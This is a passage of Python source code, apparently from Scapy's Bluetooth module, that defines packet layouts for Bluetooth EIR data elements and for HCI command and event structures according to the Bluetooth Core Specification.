Solicitation - 16-bit UUID" fields_desc = [ XLEShortField("svc_uuid", None) ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class EIR_ServiceSolicitation128BitUUID(EIR_Element): name = "EIR Service Solicitation - 128-bit UUID" fields_desc = [ UUIDField('svc_uuid', None, uuid_fmt=UUIDField.FORMAT_REV) ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class EIR_ServiceData16BitUUID(EIR_Element): name = "EIR Service Data - 16-bit UUID" fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members XLEShortField("svc_uuid", None), ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class EIR_PublicTargetAddress(EIR_Element): name = "Public Target Address" fields_desc = [ LEMACField('bd_addr', None) ] class EIR_AdvertisingInterval(EIR_Element): name = "Advertising Interval" fields_desc = [ MultipleTypeField( [ (ByteField("advertising_interval", 0), lambda p: p.underlayer.len - 1 == 1), (LEShortField("advertising_interval", 0), lambda p: p.underlayer.len - 1 == 2), (LEThreeBytesField("advertising_interval", 0), lambda p: p.underlayer.len - 1 == 3), (LEIntField("advertising_interval", 0), lambda p: p.underlayer.len - 1 == 4), ], LEShortField("advertising_interval", 0) ) ] class EIR_LEBluetoothDeviceAddress(EIR_Element): name = "LE Bluetooth Device Address" fields_desc = [ XBitField('reserved', 0, 7, tot_size=-1), BitEnumField('addr_type', 0, 1, end_tot_size=-1, enum={ 0x0: 'Public', 0x1: 'Random' }), LEMACField('bd_addr', None) ] class EIR_Appearance(EIR_Element): name = "EIR_Appearance" fields_desc = [ BitEnumField('category', 0, 10, tot_size=-2, enum={ 0x000: 'Unknown', 0x001: 'Phone', 0x002: 'Computer', 0x003: 'Watch', 0x004: 'Clock', 0x005: 'Display', 0x006: 'Remote Control', 0x007: 'Eyeglasses', 0x008: 'Tag', 0x009: 'Keyring', 0x00A: 'Media Player', 0x00B: 'Barcode Scanner', 0x00C: 'Thermometer', 0x00D: 'Heart Rate Sensor', 0x00E: 'Blood Pressure', 0x00F: 'Human Interface Device', 0x010: 'Glucose Meter', 0x011: 'Running Walking Sensor', 0x012: 'Cycling', 0x013: 'Control Device', 0x014: 'Network Device', 0x015: 'Sensor', 0x016: 'Light Fixtures', 0x017: 'Fan', 0x018: 'HVAC', 0x019: 'Air Conditioning', 0x01A: 'Humidifier', 0x01B: 'Heating', 0x01C: 'Access Control', 0x01D: 'Motorized Device', 0x01E: 'Power Device', 0x01F: 'Light Source', 0x020: 'Window Covering', 0x021: 'Audio Sink', 0x022: 'Audio Source', 0x023: 'Motorized Vehicle', 0x024: 'Domestic Appliance', 0x025: 'Wearable Audio Device', 0x026: 'Aircraft', 0x027: 'AV Equipment', 0x028: 'Display Equipment', 0x029: 'Hearing aid', 0x02A: 'Gaming', 0x02B: 'Signage', 0x031: 'Pulse Oximeter', 0x032: 'Weight Scale', 0x033: 'Personal Mobility Device', 0x034: 'Continuous Glucose Monitor', 0x035: 'Insulin Pump', 0x036: 'Medication Delivery', 0x037: 'Spirometer', 0x051: 'Outdoor Sports Activity' }), XBitField('subcategory', 0, 6, end_tot_size=-2) ] @property def appearance(self): return (self.category << 6) + self.subcategory class EIR_ServiceData32BitUUID(EIR_Element): name = 'EIR Service Data - 32-bit UUID' fields_desc = [ XLEIntField('svc_uuid', 0), ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 4 return s[:plen], s[plen:] class EIR_ServiceData128BitUUID(EIR_Element): name = 'EIR Service Data - 128-bit UUID' fields_desc = [ UUIDField('svc_uuid', None, uuid_fmt=UUIDField.FORMAT_REV) ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 16 return s[:plen], s[plen:] class EIR_URI(EIR_Element): name = 'EIR URI' fields_desc = [ ByteEnumField('scheme', 0, { 0x01: '', 0x02: 'aaa:', 0x03: 'aaas:', 0x04: 'about:', 0x05: 'acap:', 0x06: 'acct:', 0x07: 'cap:', 0x08: 'cid:', 0x09: 'coap:', 0x0A: 'coaps:', 0x0B: 'crid:', 0x0C: 'data:', 0x0D: 'dav:', 0x0E: 'dict:', 0x0F: 'dns:', 0x10: 'file:', 0x11: 'ftp:', 0x12: 'geo:', 0x13: 'go:', 0x14: 'gopher:', 0x15: 'h323:', 0x16: 'http:', 0x17: 'https:', 0x18: 'iax:', 0x19: 'icap:', 0x1A: 'im:', 0x1B: 'imap:', 0x1C: 'info:', 0x1D: 'ipp:', 0x1E: 'ipps:', 0x1F: 'iris:', 0x20: 'iris.beep:', 0x21: 'iris.xpc:', 0x22: 'iris.xpcs:', 0x23: 'iris.lwz:', 0x24: 'jabber:', 0x25: 'ldap:', 0x26: 'mailto:', 0x27: 'mid:', 0x28: 'msrp:', 0x29: 'msrps:', 0x2A: 'mtqp:', 0x2B: 'mupdate:', 0x2C: 'news:', 0x2D: 'nfs:', 0x2E: 'ni:', 0x2F: 'nih:', 0x30: 'nntp:', 0x31: 'opaquelocktoken:', 0x32: 'pop:', 0x33: 'pres:', 0x34: 'reload:', 0x35: 'rtsp:', 0x36: 'rtsps:', 0x37: 'rtspu:', 0x38: 'service:', 0x39: 'session:', 0x3A: 'shttp:', 0x3B: 'sieve:', 0x3C: 'sip:', 0x3D: 'sips:', 0x3E: 'sms:', 0x3F: 'snmp:', 0x40: 'soap.beep:', 0x41: 'soap.beeps:', 0x42: 'stun:', 0x43: 'stuns:', 0x44: 'tag:', 0x45: 'tel:', 0x46: 'telnet:', 0x47: 'tftp:', 0x48: 'thismessage:', 0x49: 'tn3270:', 0x4A: 'tip:', 0x4B: 'turn:', 0x4C: 'turns:', 0x4D: 'tv:', 0x4E: 'urn:', 0x4F: 'vemmi:', 0x50: 'ws:', 0x51: 'wss:', 0x52: 'xcon:', 0x53: 'xconuserid:', 0x54: 'xmlrpc.beep:', 0x55: 'xmlrpc.beeps:', 0x56: 'xmpp:', 0x57: 'z39.50r:', 0x58: 'z39.50s:', 0x59: 'acr:', 0x5A: 'adiumxtra:', 0x5B: 'afp:', 0x5C: 'afs:', 0x5D: 'aim:', 0x5E: 'apt:', 0x5F: 'attachment:', 0x60: 'aw:', 0x61: 'barion:', 0x62: 'beshare:', 0x63: 'bitcoin:', 0x64: 'bolo:', 0x65: 'callto:', 0x66: 'chrome:', 0x67: 'chromeextension:', 0x68: 'comeventbriteattendee:', 0x69: 'content:', 0x6A: 'cvs:', 0x6B: 'dlnaplaysingle:', 0x6C: 'dlnaplaycontainer:', 0x6D: 'dtn:', 0x6E: 'dvb:', 0x6F: 'ed2k:', 0x70: 'facetime:', 0x71: 'feed:', 0x72: 'feedready:', 0x73: 'finger:', 0x74: 'fish:', 0x75: 'gg:', 0x76: 'git:', 0x77: 'gizmoproject:', 0x78: 'gtalk:', 0x79: 'ham:', 0x7A: 'hcp:', 0x7B: 'icon:', 0x7C: 'ipn:', 0x7D: 'irc:', 0x7E: 'irc6:', 0x7F: 'ircs:', 0x80: 'itms:', 0x81: 'jar:', 0x82: 'jms:', 0x83: 'keyparc:', 0x84: 'lastfm:', 0x85: 'ldaps:', 0x86: 'magnet:', 0x87: 'maps:', 0x88: 'market:', 0x89: 'message:', 0x8A: 'mms:', 0x8B: 'mshelp:', 0x8C: 'mssettingspower:', 0x8D: 'msnim:', 0x8E: 'mumble:', 0x8F: 'mvn:', 0x90: 'notes:', 0x91: 'oid:', 0x92: 'palm:', 0x93: 'paparazzi:', 0x94: 'pkcs11:', 0x95: 'platform:', 0x96: 'proxy:', 0x97: 'psyc:', 0x98: 'query:', 0x99: 'res:', 0x9A: 'resource:', 0x9B: 'rmi:', 0x9C: 'rsync:', 0x9D: 'rtmfp:', 0x9E: 'rtmp:', 0x9F: 'secondlife:', 0xA0: 'sftp:', 0xA1: 'sgn:', 0xA2: 'skype:', 0xA3: 'smb:', 0xA4: 'smtp:', 0xA5: 'soldat:', 0xA6: 'spotify:', 0xA7: 'ssh:', 0xA8: 'steam:', 0xA9: 'submit:', 0xAA: 'svn:', 0xAB: 'teamspeak:', 0xAC: 'teliaeid:', 0xAD: 'things:', 0xAE: 'udp:', 0xAF: 'unreal:', 0xB0: 'ut2004:', 0xB1: 'ventrilo:', 0xB2: 'viewsource:', 0xB3: 'webcal:', 0xB4: 'wtai:', 0xB5: 'wyciwyg:', 0xB6: 'xfire:', 0xB7: 'xri:', 0xB8: 'ymsgr:', 0xB9: 'example:', 0xBA: 'mssettingscloudstorage:' }), StrLenField('uri_hier_part', None, length_from=EIR_Element.length_from) ] @property def uri(self): return EIR_URI.scheme.i2s[self.scheme] + self.uri_hier_part.decode('utf-8') class HCI_Command_Hdr(Packet): name = "HCI Command header" fields_desc = [XBitField("ogf", 0, 6, tot_size=-2), XBitField("ocf", 0, 10, end_tot_size=-2), LenField("len", None, fmt="B"), ] def answers(self, other): return False @property def opcode(self): return (self.ogf << 10) + self.ocf def post_build(self, p, pay): p += pay if self.len is None: p = p[:2] + struct.pack("B", len(pay)) + p[3:] return p # BUETOOTH CORE SPECIFICATION 5.4 | Vol 3, Part C # 8 EXTENDED INQUIRY RESPONSE class HCI_Extended_Inquiry_Response(Packet): fields_desc = [ PadField( PacketListField( "eir_data", [], next_cls_cb=lambda *args: ( (not args[2] or args[2].len != 0) and EIR_Hdr or conf.raw_layer ) ), align=31, padwith=b"\0", ), ] # BLUETOOTH CORE SPECIFICATION Version 5.4 | Vol 4, Part E # 7 HCI COMMANDS AND EVENTS # 7.1 LINK CONTROL COMMANDS, the OGF is defined as 0x01 class HCI_Cmd_Inquiry(Packet): """ 7.1.1 Inquiry command """ name = "HCI_Inquiry" fields_desc = [XLE3BytesField("lap", 0x9E8B33), ByteField("inquiry_length", 0), ByteField("num_responses", 0)] class HCI_Cmd_Inquiry_Cancel(Packet): """ 7.1.2 Inquiry Cancel command """ name = "HCI_Inquiry_Cancel" class HCI_Cmd_Periodic_Inquiry_Mode(Packet): """ 7.1.3 Periodic Inquiry Mode command """ name = "HCI_Periodic_Inquiry_Mode" fields_desc = [LEShortField("max_period_length", 0x0003), LEShortField("min_period_length", 0x0002), XLE3BytesField("lap", 0x9E8B33), ByteField("inquiry_length", 0), ByteField("num_responses", 0)] class HCI_Cmd_Exit_Peiodic_Inquiry_Mode(Packet): """ 7.1.4 Exit Periodic Inquiry Mode command """ name = "HCI_Exit_Periodic_Inquiry_Mode" class HCI_Cmd_Create_Connection(Packet): """ 7.1.5 Create Connection command """ name = "HCI_Create_Connection" fields_desc = [LEMACField("bd_addr", None), LEShortField("packet_type", 0xcc18), ByteField("page_scan_repetition_mode", 0x02), ByteField("reserved", 0x0), LEShortField("clock_offset", 0x0), ByteField("allow_role_switch", 0x1), ] class HCI_Cmd_Disconnect(Packet): """ 7.1.6 Disconnect command """ name = "HCI_Disconnect" fields_desc = [XLEShortField("handle", 0), ByteField("reason", 0x13), ] class HCI_Cmd_Create_Connection_Cancel(Packet): """ 7.1.7 Create Connection Cancel command """ name = "HCI_Create_Connection_Cancel" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_Accept_Connection_Request(Packet): """ 7.1.8 Accept Connection Request command """ name = "HCI_Accept_Connection_Request" fields_desc = [LEMACField("bd_addr", None), ByteField("role", 0x1), ] class HCI_Cmd_Reject_Connection_Response(Packet): """ 7.1.9 Reject Connection Request command """ name = "HCI_Reject_Connection_Response" fields_desc = [LEMACField("bd_addr", None), ByteField("reason", 0x1), ] class HCI_Cmd_Link_Key_Request_Reply(Packet): """ 7.1.10 Link Key Request Reply command """ name = "HCI_Link_Key_Request_Reply" fields_desc = [LEMACField("bd_addr", None), NBytesField("link_key", None, 16), ] class HCI_Cmd_Link_Key_Request_Negative_Reply(Packet): """ 7.1.11 Link Key Request Negative Reply command """ name = "HCI_Link_Key_Request_Negative_Reply" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_PIN_Code_Request_Reply(Packet): """ 7.1.12 PIN Code Request Reply command """ name = "HCI_PIN_Code_Request_Reply" fields_desc = [LEMACField("bd_addr", None), ByteField("pin_code_length", 7), NBytesField("pin_code", b"\x00" * 16, sz=16), ] class HCI_Cmd_PIN_Code_Request_Negative_Reply(Packet): """ 7.1.13 PIN Code Request Negative Reply command """ name = "HCI_PIN_Code_Request_Negative_Reply" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_Change_Connection_Packet_Type(Packet): """ 7.1.14 Change Connection Packet Type command """ name = "HCI_Cmd_Change_Connection_Packet_Type" fields_desc = [XLEShortField("connection_handle", None), LEShortField("packet_type", 0), ] class HCI_Cmd_Authentication_Requested(Packet): """ 7.1.15 Authentication Requested command """ name = "HCI_Authentication_Requested" fields_desc = [LEShortField("handle", 0)] class HCI_Cmd_Set_Connection_Encryption(Packet): """ 7.1.16 Set Connection Encryption command """ name = "HCI_Set_Connection_Encryption" fields_desc = [LEShortField("handle", 0), ByteField("encryption_enable", 0)] class HCI_Cmd_Change_Connection_Link_Key(Packet): """ 7.1.17 Change Connection Link Key command """ name = "HCI_Change_Connection_Link_Key" fields_desc = [LEShortField("handle", 0), ] class HCI_Cmd_Link_Key_Selection(Packet): """ 7.1.18 Change Connection Link Key command """ name = "HCI_Cmd_Link_Key_Selection" fields_desc = [ByteEnumField("handle", 0, {0: "Use semi-permanent Link Keys", 1: "Use Temporary Link Key", }), ] class HCI_Cmd_Remote_Name_Request(Packet): """ 7.1.19 Remote Name Request command """ name = "HCI_Remote_Name_Request" fields_desc = [LEMACField("bd_addr", None), ByteField("page_scan_repetition_mode", 0x02), ByteField("reserved", 0x0), LEShortField("clock_offset", 0x0), ] class HCI_Cmd_Remote_Name_Request_Cancel(Packet): """ 7.1.20 Remote Name Request Cancel command """ name = "HCI_Remote_Name_Request_Cancel" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_Read_Remote_Supported_Features(Packet): """ 7.1.21 Read Remote Supported Features command """ name = "HCI_Read_Remote_Supported_Features" fields_desc = [LEShortField("connection_handle", None), ] class HCI_Cmd_Read_Remote_Extended_Features(Packet): """ 7.1.22 Read Remote Extended Features command """ name = "HCI_Read_Remote_Supported_Features" fields_desc = [LEShortField("connection_handle", None), ByteField("page_number", None), ] class HCI_Cmd_IO_Capability_Request_Reply(Packet): """ 7.1.29 IO Capability Request Reply command """ name = "HCI_Read_Remote_Supported_Features" fields_desc = [LEMACField("bd_addr", None), ByteEnumField("io_capability", None, {0x00: "DisplayOnly", 0x01: "DisplayYesNo", 0x02: "KeyboardOnly", 0x03: "NoInputNoOutput", }), ByteEnumField("oob_data_present", None, {0x00: "Not Present", 0x01: "P-192", 0x02: "P-256", 0x03: "P-192 + P-256", }), ByteEnumField("authentication_requirement", None, {0x00: "MITM Not Required", 0x01: "MITM Required, No Bonding", 0x02: "MITM Not Required + Dedicated Pairing", 0x03: "MITM Required + Dedicated Pairing", 0x04: "MITM Not Required, General Bonding", 0x05: "MITM Required + General Bonding"}), ] class HCI_Cmd_User_Confirmation_Request_Reply(Packet): """ 7.1.30 User Confirmation Request Reply command """ name = "HCI_User_Confirmation_Request_Reply" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_User_Confirmation_Request_Negative_Reply(Packet): """ 7.1.31 User Confirmation Request Negative Reply command """ name = "HCI_User_Confirmation_Request_Negative_Reply" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_User_Passkey_Request_Reply(Packet): """ 7.1.32 User Passkey Request Reply command """ name = "HCI_User_Passkey_Request_Reply" fields_desc = [LEMACField("bd_addr", None), LEIntField("numeric_value", None), ] class HCI_Cmd_User_Passkey_Request_Negative_Reply(Packet): """ 7.1.33 User Passkey Request Negative Reply command """ name = "HCI_User_Passkey_Request_Negative_Reply" fields_desc = [LEMACField("bd_addr", None), ] class HCI_Cmd_Remote_OOB_Data_Request_Reply(Packet): """ 7.1.34 Remote OOB Data Request Reply command """ name = "HCI_Remote_OOB_Data_Request_Reply" fields_desc = [LEMACField("bd_addr", None), NBytesField("C", b"\x00" * 16, sz=16), NBytesField("R", b"\x00" * 16, sz=16), ] class HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply(Packet): """ 7.1.35 Remote OOB Data Request Negative Reply command """ name = "HCI_Remote_OOB_Data_Request_Negative_Reply" fields_desc = [LEMACField("bd_addr", None), ] # 7.2 Link Policy commands, the OGF is defined as 0x02 class HCI_Cmd_Hold_Mode(Packet): name = "HCI_Hold_Mode" fields_desc = [LEShortField("connection_handle", 0), LEShortField("hold_mode_max_interval", 0x0002), LEShortField("hold_mode_min_interval", 0x0002), ] # 7.3 CONTROLLER & BASEBAND COMMANDS, the OGF is defined as 0x03 class HCI_Cmd_Set_Event_Mask(Packet): """ 7.3.1 Set Event Mask command """ name = "HCI_Set_Event_Mask" fields_desc = [StrFixedLenField("mask", b"\xff\xff\xfb\xff\x07\xf8\xbf\x3d", 8)] # noqa: E501 class HCI_Cmd_Reset(Packet): """ 7.3.2 Reset command """ name = "HCI_Reset" class HCI_Cmd_Set_Event_Filter(Packet): """ 7.3.3 Set Event Filter command """ name = "HCI_Set_Event_Filter" fields_desc = [ByteEnumField("type", 0, {0: "clear"}), ] class HCI_Cmd_Write_Local_Name(Packet): """ 7.3.11 Write Local Name command """ name = "HCI_Write_Local_Name" fields_desc = [StrFixedLenField('name', '', length=248)] class HCI_Cmd_Read_Local_Name(Packet): """ 7.3.12 Read Local Name command """ name = "HCI_Read_Local_Name" class HCI_Cmd_Write_Connect_Accept_Timeout(Packet): name = "HCI_Write_Connection_Accept_Timeout" fields_desc = [LEShortField("timeout", 32000)] # 32000 slots is 20000 msec class HCI_Cmd_Write_Extended_Inquiry_Response(Packet): name = "HCI_Write_Extended_Inquiry_Response" fields_desc = [ByteField("fec_required", 0), HCI_Extended_Inquiry_Response] class HCI_Cmd_Read_LE_Host_Support(Packet): name = "HCI_Read_LE_Host_Support" class HCI_Cmd_Write_LE_Host_Support(Packet): name = "HCI_Write_LE_Host_Support" fields_desc = [ByteField("supported", 1), ByteField("unused", 1), ] # 7.4 INFORMATIONAL PARAMETERS, the OGF is defined as 0x04 class HCI_Cmd_Read_Local_Version_Information(Packet): """ 7.4.1 Read Local Version Information command """ name = "HCI_Read_Local_Version_Information" class HCI_Cmd_Read_Local_Extended_Features(Packet): """ 7.4.4 Read Local Extended Features command """ name = "HCI_Read_Local_Extended_Features" fields_desc = [ByteField("page_number", 0)] class HCI_Cmd_Read_BD_Addr(Packet): """ 7.4.6 Read BD_ADDR command """ name = "HCI_Read_BD_ADDR" # 7.5 STATUS PARAMETERS, the OGF is defined as 0x05 class HCI_Cmd_Read_Link_Quality(Packet): name = "HCI_Read_Link_Quality" fields_desc = [LEShortField("handle", 0)] class HCI_Cmd_Read_RSSI(Packet): name = "HCI_Read_RSSI" fields_desc = [LEShortField("handle", 0)] # 7.6 TESTING COMMANDS, the OGF is defined as 0x06 class HCI_Cmd_Read_Loopback_Mode(Packet): name = "HCI_Read_Loopback_Mode" class HCI_Cmd_Write_Loopback_Mode(Packet): name = "HCI_Write_Loopback_Mode" fields_desc = [ByteEnumField("loopback_mode", 0, {0: "no loopback", 1: "enable local loopback", 2: "enable remote loopback"})] # 7.8 LE CONTROLLER COMMANDS, the OGF code is defined as 0x08 class HCI_Cmd_LE_Read_Buffer_Size_V1(Packet): name = "HCI_LE_Read_Buffer_Size [v1]" class HCI_Cmd_LE_Read_Buffer_Size_V2(Packet): name = "HCI_LE_Read_Buffer_Size [v2]" class HCI_Cmd_LE_Read_Local_Supported_Features(Packet): name = "HCI_LE_Read_Local_Supported_Features" class HCI_Cmd_LE_Set_Random_Address(Packet): name = "HCI_LE_Set_Random_Address" fields_desc = [LEMACField("address", None)] class HCI_Cmd_LE_Set_Advertising_Parameters(Packet): name = "HCI_LE_Set_Advertising_Parameters" fields_desc = [LEShortField("interval_min", 0x0800), LEShortField("interval_max", 0x0800), ByteEnumField("adv_type", 0, {0: "ADV_IND", 1: "ADV_DIRECT_IND", 2: "ADV_SCAN_IND", 3: "ADV_NONCONN_IND", 4: "ADV_DIRECT_IND_LOW"}), # noqa: E501 ByteEnumField("oatype", 0, {0: "public", 1: "random"}), ByteEnumField("datype", 0, {0: "public", 1: "random"}), LEMACField("daddr", None), ByteField("channel_map", 7), ByteEnumField("filter_policy", 0, {0: "all:all", 1: "connect:all scan:whitelist", 2: "connect:whitelist scan:all", 3: "all:whitelist"}), ] # noqa: E501 class HCI_Cmd_LE_Set_Advertising_Data(Packet): name = "HCI_LE_Set_Advertising_Data" fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), PadField( PacketListField("data", [], EIR_Hdr, length_from=lambda pkt: pkt.len), align=31, padwith=b"\0"), ] class HCI_Cmd_LE_Set_Scan_Response_Data(Packet): name = "HCI_LE_Set_Scan_Response_Data" fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), StrLenField("data", "", length_from=lambda pkt: pkt.len), ] class HCI_Cmd_LE_Set_Advertise_Enable(Packet): name = "HCI_LE_Set_Advertising_Enable" fields_desc = [ByteField("enable", 0)] class HCI_Cmd_LE_Set_Scan_Parameters(Packet): name = "HCI_LE_Set_Scan_Parameters" fields_desc = [ByteEnumField("type", 0, {0: "passive", 1: "active"}), XLEShortField("interval", 16), XLEShortField("window", 16), ByteEnumField("atype", 0, {0: "public", 1: "random", 2: "rpa (pub)", 3: "rpa (random)"}), ByteEnumField("policy", 0, {0: "all", 1: "whitelist"})] class HCI_Cmd_LE_Set_Scan_Enable(Packet): name = "HCI_LE_Set_Scan_Enable" fields_desc = [ByteField("enable", 1), ByteField("filter_dups", 1), ] class HCI_Cmd_LE_Create_Connection(Packet): name = "HCI_LE_Create_Connection" fields_desc = [LEShortField("interval", 96), LEShortField("window", 48), ByteEnumField("filter", 0, {0: "address"}), ByteEnumField("patype", 0, {0: "public", 1: "random"}), LEMACField("paddr", None), ByteEnumField("atype", 0, {0: "public", 1: "random"}), LEShortField("min_interval", 40), LEShortField("max_interval", 56), LEShortField("latency", 0), LEShortField("timeout", 42), LEShortField("min_ce", 0), LEShortField("max_ce", 0), ] class HCI_Cmd_LE_Create_Connection_Cancel(Packet): name = "HCI_LE_Create_Connection_Cancel" class HCI_Cmd_LE_Read_Filter_Accept_List_Size(Packet): name = "HCI_LE_Read_Filter_Accept_List_Size" class HCI_Cmd_LE_Clear_Filter_Accept_List(Packet): name = "HCI_LE_Clear_Filter_Accept_List" class HCI_Cmd_LE_Add_Device_To_Filter_Accept_List(Packet): name = "HCI_LE_Add_Device_To_Filter_Accept_List" fields_desc = [ByteEnumField("address_type", 0, {0: "public", 1: "random", 0xff: "anonymous"}), LEMACField("address", None)] class HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List(HCI_Cmd_LE_Add_Device_To_Filter_Accept_List): # noqa: E501 name = "HCI_LE_Remove_Device_From_Filter_Accept_List" class HCI_Cmd_LE_Connection_Update(Packet): name = "HCI_LE_Connection_Update" fields_desc = [XLEShortField("handle", 0), XLEShortField("min_interval", 0), XLEShortField("max_interval", 0), XLEShortField("latency", 0), XLEShortField("timeout", 0), LEShortField("min_ce", 0), LEShortField("max_ce", 0xffff), ] class HCI_Cmd_LE_Read_Remote_Features(Packet): name = "HCI_LE_Read_Remote_Features" fields_desc = [LEShortField("handle", 64)] class HCI_Cmd_LE_Enable_Encryption(Packet): name = "HCI_LE_Enable_Encryption" fields_desc = [LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), StrFixedLenField("ltk", b'\x00' * 16, 16), ] class HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet): name = "HCI_LE_Long_Term_Key_Request_Reply" fields_desc = [LEShortField("handle", 0), StrFixedLenField("ltk", b'\x00' * 16, 16), ] class HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet): name = "HCI_LE_Long_Term_Key_Request _Negative_Reply" fields_desc = [LEShortField("handle", 0), ] class HCI_Event_Hdr(Packet): name = "HCI Event header" fields_desc = [XByteField("code", 0), LenField("len", None, fmt="B"), ] def answers(self, other): if HCI_Command_Hdr not in other: return False # Delegate answers to event types return self.payload.answers(other) class HCI_Event_Inquiry_Complete(Packet): """ 7.7.1 Inquiry Complete event """ name = "HCI_Inquiry_Complete" fields_desc = [ ByteEnumField('status', 0, _bluetooth_error_codes) ] class HCI_Event_Inquiry_Result(Packet): """ 7.7.2 Inquiry Result event """ name = "HCI_Inquiry_Result" fields_desc = [ ByteField("num_response", 0x00), FieldListField("addr", None, LEMACField("addr", None), count_from=lambda p: p.num_response), FieldListField("page_scan_repetition_mode", None, ByteField("page_scan_repetition_mode", 0), count_from=lambda p: p.num_response), FieldListField("reserved", None, LEShortField("reserved", 0), count_from=lambda p: p.num_response), FieldListField("device_class", None, XLE3BytesField("device_class", 0), count_from=lambda p: p.num_response), FieldListField("clock_offset", None, LEShortField("clock_offset", 0), count_from=lambda p: p.num_response) ] class HCI_Event_Connection_Complete(Packet): """ 7.7.3 Connection Complete event """ name = "HCI_Connection_Complete" fields_desc = [ByteEnumField('status', 0, _bluetooth_error_codes), LEShortField("handle", 0x0100), LEMACField("bd_addr", None), ByteEnumField("link_type", 0, {0: "SCO connection", 1: "ACL connection", }), ByteEnumField("encryption_enabled", 0, {0: "link level encryption disabled", 1: "link level encryption enabled", }), ] class HCI_Event_Disconnection_Complete(Packet): """ 7.7.5 Disconnection Complete event """ name = "HCI_Disconnection_Complete" fields_desc = [ByteEnumField("status", 0, _bluetooth_error_codes), LEShortField("handle", 0), XByteField("reason", 0), ] class HCI_Event_Remote_Name_Request_Complete(Packet): """ 7.7.7 Remote Name Request Complete event """ name = "HCI_Remote_Name_Request_Complete" fields_desc = [ByteEnumField("status", 0, _bluetooth_error_codes), LEMACField("bd_addr", None), StrFixedLenField("remote_name", b"\x00", 248), ] class HCI_Event_Encryption_Change(Packet): """ 7.7.8 Encryption Change event """ name = "HCI_Encryption_Change" fields_desc = [ByteEnumField("status", 0, {0: "change has occurred"}), LEShortField("handle", 0), ByteEnumField("enabled", 0, {0: "OFF", 1: "ON (LE)", 2: "ON (BR/EDR)"}), ] # noqa: E501 class HCI_Event_Read_Remote_Supported_Features_Complete(Packet): """ 7.7.11 Read Remote Supported Features Complete event """ name = "HCI_Read_Remote_Supported_Features_Complete" fields_desc = [ ByteEnumField('status', 0, _bluetooth_error_codes), LEShortField('handle', 0), FlagsField('lmp_features', 0, -64, _bluetooth_features) ] class HCI_Event_Read_Remote_Version_Information_Complete(Packet): """ 7.7.12 Read Remote Version Information Complete event """ name = "HCI_Read_Remote_Version_Information" fields_desc = [ ByteEnumField('status', 0, _bluetooth_error_codes), LEShortField('handle', 0), ByteField('version', 0x00), LEShortField('manufacturer_name', 0x0000), LEShortField('subversion', 0x0000) ] class HCI_Event_Command_Complete(Packet): """ 7.7.14 Command Complete event """ name = "HCI_Command_Complete" fields_desc = [ByteField("number", 0), XLEShortField("opcode", 0), ByteEnumField("status", 0, _bluetooth_error_codes)] def answers(self, other): if HCI_Command_Hdr not in other: return False return other[HCI_Command_Hdr].opcode == self.opcode class HCI_Event_Command_Status(Packet): """ 7.7.15 Command Status event """ name = "HCI_Command_Status" fields_desc = [ByteEnumField("status", 0, {0: "pending"}), ByteField("number", 0), XLEShortField("opcode", None), ] def answers(self, other): if HCI_Command_Hdr not in other: return False return other[HCI_Command_Hdr].opcode == self.opcode class HCI_Event_Number_Of_Completed_Packets(Packet): """ 7.7.19 Number Of Completed Packets event """ name = "HCI_Number_Of_Completed_Packets" fields_desc = [ByteField("num_handles", 0), FieldListField("connection_handle_list", None, LEShortField("connection_handle", 0), count_from=lambda p: p.num_handles), FieldListField("num_completed_packets_list", None, LEShortField("num_completed_packets", 0), count_from=lambda p: p.num_handles)] class HCI_Event_Link_Key_Request(Packet): """ 7.7.23 Link Key Request event """ name = 'HCI_Link_Key_Request' fields_desc = [ LEMACField('bd_addr', None) ] class HCI_Event_Inquiry_Result_With_Rssi(Packet): """ 7.7.33 Inquiry Result with RSSI event """ name = "HCI_Inquiry_Result_with_RSSI" fields_desc = [ ByteField("num_response", 0x00), FieldListField("bd_addr", None, LEMACField, count_from=lambda p: p.num_response), FieldListField("page_scan_repetition_mode", None, ByteField, count_from=lambda p: p.num_response), FieldListField("reserved", None, LEShortField, count_from=lambda p: p.num_response), FieldListField("device_class", None, XLE3BytesField, count_from=lambda p: p.num_response), FieldListField("clock_offset", None, LEShortField, count_from=lambda p: p.num_response), FieldListField("rssi", None, SignedByteField, count_from=lambda p: p.num_response) ] class HCI_Event_Read_Remote_Extended_Features_Complete(Packet): """ 7.7.34 Read Remote Extended Features Complete event """ name = "HCI_Read_Remote_Extended_Features_Complete" fields_desc = [ ByteEnumField('status', 0, _bluetooth_error_codes), LEShortField('handle', 0), ByteField('page', 0x00), ByteField('max_page', 0x00), XLELongField('extended_features', 0) ] class HCI_Event_Extended_Inquiry_Result(Packet): """ 7.7.38 Extended Inquiry Result event """ name = "HCI_Extended_Inquiry_Result" fields_desc = [ ByteField('num_response', 0x01), LEMACField('bd_addr', None), ByteField('page_scan_repetition_mode', 0x00), ByteField('reserved', 0x00), XLE3BytesField('device_class', 0x000000), LEShortField('clock_offset', 0x0000), SignedByteField('rssi', 0x00), HCI_Extended_Inquiry_Response, ] class HCI_Event_IO_Capability_Response(Packet): """ 7.7.41 IO Capability Response event """ name = "HCI_IO_Capability_Response" fields_desc = [ LEMACField('bd_addr', None), ByteField('io_capability', 0x00), ByteField('oob_data_present', 0x00), 